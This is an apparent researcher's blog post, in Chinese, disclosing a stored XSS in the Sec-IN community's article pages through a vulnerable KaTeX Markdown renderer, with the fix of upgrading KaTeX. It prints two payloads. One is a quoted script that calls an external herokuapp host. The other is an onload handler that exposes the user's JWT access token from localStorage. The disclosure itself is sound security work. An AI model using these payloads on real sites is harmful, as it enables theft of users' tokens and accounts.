Sec-IN社区安全测试——文章正文XSS

  • A+

发现朋友圈都在转发Sec-IN社区的公测信息,我也注册了一个账号。作为一个安全人员,总是对新出现的业务安全性充满兴趣,于是打开控制台看看。

整体网站是vue开发,典型的前后端分离架构,后端使用RestFUL API通信方式,认证使用的jwt。这种架构比较新,传统的漏洞会相对少很多,像XSS这种重点就需要放在富文本这块。

看下功能,发现投稿支持Markdown,简单测试,是无法插入XSS Payload的。看下流量,发现返回的文章内容是markdown原文,而非Html,说明markdown是前端渲染的。

前端渲染Markdown,肯定使用的开源组件,看流量发现加载了katex.min.js:

image20200415192252830.png

之前没用过这个组件,搜索一下漏洞:

  • https://github.com/KaTeX/KaTeX/issues/1160
  • https://blog.gitter.im/2018/02/16/gitter-xss-cryptocoin-mining-security-issue-notification/
  • https://gitlab.com/gitlab-org/gitter/webapp/issues/1859

文章里有说到Payload:

$$ <script id="iplog">x=new XMLHttpRequest(); x.open("GET", "https://afternoon-fjord-12487.herokuapp.com/"); x.send();document.getElementById("id").parent.parent.style = "display:none"</script> $$

测试一下发现script标签渲染了,漏洞存在:

image.png

但是js没执行,原因是没有触发这个js的条件,因为此时script标签已经写入了。

改成如下payload即可触发:

$$ <input type=image src=/static/css/img/logo.23d7be3.svg onload=alert(localStorage.access_token)> $$

image20200415192027702.png

我这里演示的是将locaStorage里的localStorage.access_token弹出来。因为Sec-IN社区全站使用JWT进行认证,拿到这个Access Token也就等于获取了他人权限,不会受到Cookie里安全限制的影响。

如何修复这个问题呢?只需要将katex升级到最新版。

相关推荐: VolgaCTF2020 RE部分wp

VolgaCTF2020 比赛的时候只做出来excel_crackme,赛后复现学到了不少~ VolgaCTF_excel_crackme 前置知识 vba 没遇见过vba语法,记录一下~ <> 不等于,相当于!== Range 引用单元格 CLn…